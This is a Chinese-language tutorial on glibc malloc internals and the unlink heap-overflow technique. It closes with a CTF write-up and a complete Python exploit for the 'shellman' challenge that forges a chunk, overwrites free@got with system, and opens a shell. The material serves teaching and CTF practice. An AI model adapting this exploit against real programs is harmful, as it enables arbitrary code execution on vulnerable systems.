0x01 glibc堆管理机制

1、Arena、heap与chunk概述
Arena是包含堆heap的一块相对独立的内存区域。对于linux下的多线程程序,每个线程可以有不同的Arena,包括Main Arena和Thread Arena。

  • Main Arena为主线程建立,只包含一个heap。
  • Thread Arena为其他线程 可能包含多个heap。

根据glibc源码,与heap有关的数据结构或元数据信息包括:

  • heap_info:描述一个heap段的heap头。每个线程的Arena可以有个heap,而每一个heap都有自己的heap头。但在初始默认情况下,一个Arena只有一个heap段,当空间耗尽,新的heap将会通过mmap在该Arena的非连续内存区域创建;
  • malloc_state:描述一个Arena的Arena头。一个Arena可以有多个heap,但只有一个Arena头,Arena头包含bins、top chunk(顶堆块)、last remainder chunk(剩余堆块)等重要信息。
  • malloc_chunk:chunk header(堆块头)。根据程序的请求,一个heap可以分解成多个chunk,每个chunk都有自己的chunk header。
    因此,按照从大到小的顺序,Arena包括一个或多个heap,一个heap包括多个chunk。Arena、heap和chunk都有自己的头部。如图所示,

1
图 Main Arena与Thread Arena(一个heap)

2
图 Thread Arena(多个heap)

2、Chunk的类型

下面重点探讨chunk,一个heap中的chunk主要包含以下四种类型:

  • Allocated Chunk:
  • free Chunk:
  • top Chunk:
  • last remainder Chunk

(1) Allocated Chunk

如图,均为4字节(32bit)或8字节(64bit)对齐的内存块。

3

注意,被分配的Allocated Chunk不使用fd、bk等指针。也就是说,在malloc_chunk(Chunk Header)中,不使用fd、bk等指针来维护Allocated Chunk的信息,用户请求的内存分配长度都被转换为Internal Reprenstation Size,满足8字节对齐的需求。如图 ,chunk size的最后三位不使用,而是用来存储状态信息。

(2)free Chunk

free Chunk如图所示,与Allocated Chunk相比,多了fd和bk指针,fd指向binlist(所谓binlist中,是指存储free chunk指针数组,数组成员指向一个个的Free Chunk)中上一个free chunk,bk指向binlist中下一个free chunk。 在内存区域中,两块free chunk不能相邻,如果相邻,glibc则会将两个相邻的free chunk合并(合并时会有改写内存的机会,堆溢出漏洞多利用此)。因此,prev_size总是包含上一个chunk的用户数据。只有在将要发生合并前,prev_size才为上一free chunk的size。

4

3、bins

bins就是存储freelist(指向free chunk 的指针,这些free chunk按照链表组织在一起)的数据结构,根据chunk size的不同,bins又分为四种类型:

  • Fast bin

  • Unsorted bin

  • Small bin

  • Last remainder bin
    存储bin的数据结构又有两种:

  • FastbinsY:存放fast bin的数组;

  • bins:存放unsorted、small和large bin的数组,总共有126个bin。

    • Bin 1:用于unsorted bin
    • Bin 2 到 Bin 63:用于small bin·
    • Bin 64到 Bin 126:用于Large bin

下面对各种bins进行介绍
Fast bin

  • 存放16~80字节的chunk(fast chunk),fast bin在内存分配和释放方便是速度最快的。

  • bin的数量:10

  • 每一个bin包括指向一个单向链表(binlist)的指针,对binlist的增删操作均在链表的起始进行(LIFO);

  • Chunk的大小:8字节的整数倍。第一个fast bin(index 0)的指针指向16字节的binlist,第二个fast bin(index 1)的指针指向24字节的binlist,以此类推……。

  • 同一个fast bin中的chunk大小相同。

  • 在malloc初始化时,最大的fast bin的chunk size为64字节(不是80),因此默认情况下的fast chunk size取值范围为16到64字节。

  • 不会合并,两个内存中相邻的free chunk不会合并成一个free chunk,尽管会产生碎片,但是提高了free的速度。

  • malloc(fast chunk):初始状态fast bin的chunk最大值及索引均为空,因此当用户请求fast chunk时,先是调用分配small bin的代码,而非fast bin的代码,后续当该chunk不为空时,则计算fast bin 的索引,并获得对应的binlist。接着移除binlist中的第一个chunk,返回给用户

  • free(fast chunk) : 计算fast bin的索引,并计算对应的binlist,这个free掉的fast chunk添加到所获取binlist中的最前端
    5
    Unsorted bin
    当small chunk或large chunk free时,它们并不是添加进对应的bins,而是进入unsorted bins,这给了“glibc malloc”第二次机会重用最近free掉的chunks。

  • bin的数量:1,使用环形双向链表(binlist)来组织free chunks;

  • chunk大小:没有大小的限制,任何size的chunk都可以属于unsorted bin。

Small Bin(对安全影响大,重点)
包含小于512字节的chunk(指针),在内存分配和释放上,small bins比large bins快一些,但比fast bins慢。

  • bin的数量:62,同样使用环形双向链表(binlist)来组织free chunks。unlink发生在binlist的中间,对list的添加和删除分别在头部和尾部(FIFO)
  • chunk大小:8字节对齐,例如,第一个Small bin(bin2),包含16字节chunk的binlist。第二个small bin(bin3),包含24字节chunk的binlist,依次类推……。同一个small bin包含同样大小的chunk,因此无需排序。
  • 合并:两个相邻的free chunk将会被合并,合并减少了碎片,但是也拖慢了free的速度。
  • malloc(small chunk):初始状态small bins为空,当用户请求时,先是调用unsorted bin的代码。接着在第一次调用malloc的过程中,malloc_state中small bin和large bin的数据结构(bins)被初始化,例如bins将指向自身来表明其为空。后续过程中,当small bin非空,对应binlist中的最后一个chunk被移除,并返回给用户。
  • free(small chunk):free一个chunk时,检查相邻的前续及后续chunk是否free,如果是free则合并。此后,这个合并后的chunk就会被unlink掉,并被添加进unsorted bin list的起始。

6

Large Bin:
用于组织超过512字节的chunk,内存分配释放速度慢于small bins。

  • bin的数量:63。每一个large bin也包含一个环形双向链表。在这63个bins当中,
    有32个bins包含binlist的chunk size为64字节的倍数,例如,第一个large bin(bin 65)binlist的chunk size为512和568,第二个large bin(bin 66)binlist的chunk size为576和632,依次类推……
    有16个bins包含binlist的chunk size为512的倍数。
    有8个bins包含binlist的chunk size为4096的倍数。
    有4个bins包含binlist的chunk size为32768的倍数。
    有2个bins包含binlist的chunk size为262144的倍数。
    1个bin只有一个chunk,其size为剩下的size。

  • 与small bin不同,large bin的chunks大小不同,因此按照size大小降序排列,最大的chunk存储在binlist的起始,最小的chunk存储在binlist的末尾。

  • 合并:两个内存中相邻的free chunk将被合并。

  • malloc(large chunk) – 初始状态,所有的large bins将为空。当用户请求一个large chunk时,调用的是next largest bin code,而非large bin code。第一次调用malloc时,malloc_state中的small bin和large bin数据结构被初始化,bins将指向自身表明其为空。后续当large bin非空时,如果binlist中最大的chunk size比用户请求的size大,binlist就从末尾到起始进行搜索,直到找到一个接近或等于用户请求size的chunk,此时该chunk将分裂(split)成两个chunk,一个(等于用户请求的size)返回给用户,另一个(大小等于剩余的size),被添加进unsorted bin。如果binlist中最大的chunk size仍然小于用户请求的size,那么就将使用next largest bin来满足用户的请求。next largest bin的代码扫描binmap来寻找非空的next largest bin,如果找到,从该binlist中的合适的chunk就会分裂成合适大小返回给用户。如果没有找到,则使用top chunk

  • free(large chunk) – 与free(small chunk)类似

Top Chunk:在arena的顶部边界区,不属于任何bin,用来在没有free的内存块时,满足用户的内存分配请求,如果top chunk size比用户请求的size大,则同样分裂成User chunk(等于用户请求的size)和Remainder chunk(等于剩余size),然后remainder chunk就变成新的top chunk。如果top chunk size小于用户请求的size,那么top chunk就会被sbrk(main arena)或者mmap(thread arena)系统调用扩展。

Last Remainder Chunk:从最近的small request中分出来剩下的chunk(具体细节见参考文献)。

0x02 堆溢出原理

堆溢出的利用主要围绕在bin(主要是small bin?)中free chunk的合并过程,在两个free chunk合并的过程中,有两次改写地址的机会。例如,对于将要合并的Chunk P,在合并发生时,glibc将Chunk P 从binlist中unlink掉,主要涉及到以下指针操作(取自glibc源码中的unlink宏)。

1
2
3
4
FD = P->fd;   //FD为相对于P下一个chunk的地址
BK = P->bk; //BK为相对于P上一个chunk的地址
FD->bk = BK; //用上一个chunk的地址去改写下一个chunk的前续指针bk,即改写FD+12(32bit)或FD+24(64bit)地址中的内容
BK->fd = FD;//用下一个chunk的地址去改写上一个chunk的后续指针fd,即改写BK+8(32bit)或BK+16(64bit)地址中的内容

特别注意上面最后两行等号,实际是两次改写地址!这样如果P是攻击者精心伪造的chunk,则在unlink P时,可改写FD+12或BK+8(32bit)为攻击者指定的地址。例如,攻击者可以结合程序的具体情况,使P具备被unlink的条件(主要是prev_size和size的设置) ,并且

1
2
FD=free@got-12
BK=shellcode地址

这样,在unlink发生时, FD->bk=free@got-12+12=free@got,其内容被shellcode地址改写,这样在程序在下一次执行free时,实际将执行shellcode。这就是堆溢出的基本原理。

然而,现在的glibc在unlink P时还增加了一些安全检查机制,如下

1
2
3

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);

它会检查下一个chunk的bk以及上一个chunk的fd是否均为P,因此上面的利用方法已经不可行,因为FD->bk变成了free@got,而BK->fd变成了shellcode的地址+8。此时,为了绕过检查,需要找一个内容可控的已知地址ptr( 设*ptr = pControllable, pControllable开始的内存可控),那么在32bit系统中,伪造

1
2
P->fd = ptr-12
P->bk= ptr -8

或者在64bit系统中,伪造

1
2
P->fd = ptr - 24
P->bk = ptr - 16

则FD->bk=BK->fd=ptr

此时,当unlink P发生时,ptr这个地址中的值被改写两次(以64bit为例),第一次改写为ptr-16,第二次改写为ptr-24,最终改写为ptr-24。此时, 所以 pControllable=ptr-24 ,所以ptr-24开始的内存空间可控,那么在ptr-24开始的内存空间填入内容,就又可以改写ptr这个地址存储的内容pControllable。此时,我们改写pControllable为GOT表中的函数地址如free@GOT,就可以编辑GOT表了,把free@GOT这个地址的内容改写为system@GOT,那么在下次调用free的时候,就会调用system函数以实现代码执行。
下面我们结合强网杯2015的一道300分题目进行分析。

0x03 shellman分析

首先观察题目,shellman这个程序主要有以下功能:

1.list shellcode:显示已经建立的堆块(Chunk)中存储的内容

2.New shellcode:建立一个新的堆块,大小和内容由用户决定

3.Edit shellcode:对一个已经分配的堆块做编辑,这个地方没有限制大小若太长可造成堆溢出

4.Delete shellcode: 释放一个已经分配的堆块

7

程序还有一个全局数组用于存储已分配堆块malloc返回的地址,以及长度和本堆块是否占用的指针,如图
8

由于bss段的地址固定,这个全局数组的存在就使得漏洞利用变得简单起来。使用unlink去利用这个堆溢出漏洞的思路如下:

一,分配两个长度合适的堆块,可以使用小于512字节的small bin,如0xa0这个长度。此时,chunk0和chunk1被占用,所以fd、bk均为空

9

二、对chunk0进行编辑,并溢出到chunk1,在chunk0 malloc返回地址开始的内存伪造一个chunk P,设置好prev_size、size&Flag。同时设置chunk1的prev size以及size&Flag(prev size应为P的size,且Flag的P位设置为0,使glibc认为前一个chunk P状态是free)。如图

10

三,删掉chunk1,触发unlink(p),将p给改写。

在删除chunk1时,glibc会检查一下自己的size部分的prev_inuse FLAG,发现到到比较早的一个chunk是空闲的(实际是我们伪造的chunk P),glibc希望将即将出现的两个空闲块合并。glibc会先将我们伪造的这个chunk P从它 的binlist中解引用,所以触发unlink P。

这里我们找的内容可控的已知地址就是bss段存储已分配堆块地址的全局数组ptr=0x6016D0(根据程序逻辑,*ptr=*0x6016D0=pControllable是已分配堆块,内容可编辑)。按照前文叙述,unlink P就触发以下操作,

1
2
3
4
5
1).FD=p->fd(即0x6016D0-0x18)
2).BK=p->bk(即6016D0-0x10)
3).检查是否满足上文所示的限制,由于FD->bk和BK->fd均为0x6016D0(即p),因此可以过掉这个限制
4).FD->bk=BK
5).BK->fd=FD(*ptr=0x6016D0-0x18)

四、此时*ptr=0x6016D0-0x18,由于已分配堆块地址的全局数组的存在,程序认为*ptr=*(0x6016D0-0x18)为已分配的第一个堆块,那么我们对0x6016D0-0x18开始的内存进行编辑,将free@got的地址写入0x6016D0。由于从0x6016D0-0x18开始写,写入的时候注意不要破坏全局数组中堆块的长度及是否被占用的状态信息(bss段中0x6016C0存储是否占用的标志,0x6016C8存储已分配堆块的长度)

五、现在*ptr=free@got了,只要使用一次List功能便可以知道free函数的真实地址,进而算出libc的基址来过掉ASLR。

六、根据已经算出的libc基址再次算出system函数的真实地址。同样,这时程序认为*ptr为已分配的第一个堆块,那么我们对*ptr也就是free@got这个地址开始的内存进行编辑,将free@got存储的内容改为system函数的地址。

七、因为free已经变成了system,只要再建立一个内容为/bin/sh的块,再删掉,就可以得到shell,由此全部利用完成。

利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from zio import *

target = './shellman'

def new_sc(io, sc):
io.read_until('>')
io.writeline('2')
io.read_until(':')
io.writeline(str(len(sc)))
io.read_until(':')
io.write(sc)

def edit_sc(io, index, new_sc):
io.read_until('>')
io.writeline('3')
io.read_until(':')
io.writeline(str(index))
io.read_until(':')
io.writeline(str(len(new_sc)))
io.read_until(':')
io.write(new_sc)

def delete_sc(io, index):
io.read_until('>')
io.writeline('4')
io.read_until(':')
io.writeline(str(index))

def list_sc(io):
io.read_until('>')
io.writeline('1')
io.read_until('SHELLC0DE 0: ')
return l64(io.read(16).decode('hex'))

def exp(target):
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
new_sc(io, 'a'*0xa0) #0x603010
new_sc(io, 'b'*0xa0) #0x6030c0
new_sc(io, '/bin/sh;'+'c'*0x98) #0x603170
ptr_addr = 0x00000000006016d0
payload = l64(0) + l64(0xa1) + l64(ptr_addr-0x18) + l64(ptr_addr-0x10) + 'a'*0x80 + l64(0xa0) + l64(0xb0) #notice, the size of original chunk1 is 0xa0+2*8=0xb0 is untouched, we just change prev_size
edit_sc(io, 0, payload)
delete_sc(io, 1) #trigger unlink,  change *0x6016d0 = 0x6016b8
free_got = 0x0000000000601600

''' when debugging at the run time, we can find
*0x6016b8 = l64(0x0), *0x6016c0 = l64(0x1), *0x6016c8 = l64(0xa)
we don't change these memories execpt *0x6016d0
'''
payload2 = l64(0x0) + l64(0x1) +l64(0xa) + l64(free_got)
edit_sc(io, 0, payload2)
free_addr = list_sc(io)
print hex(free_addr)
libc_base = free_addr - 0x0000000000083c30 #free@libc, find in objdump my libc.so
system_addr = libc_base + 0x00000000000468f0 #system@libc, find in objdump my libc.so
edit_sc(io, 0, l64(system_addr))
delete_sc(io, 2)
io.interact()

exp(target)

0x04 参考文献

  1. https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
  2. http://drops.wooyun.org/tips/7326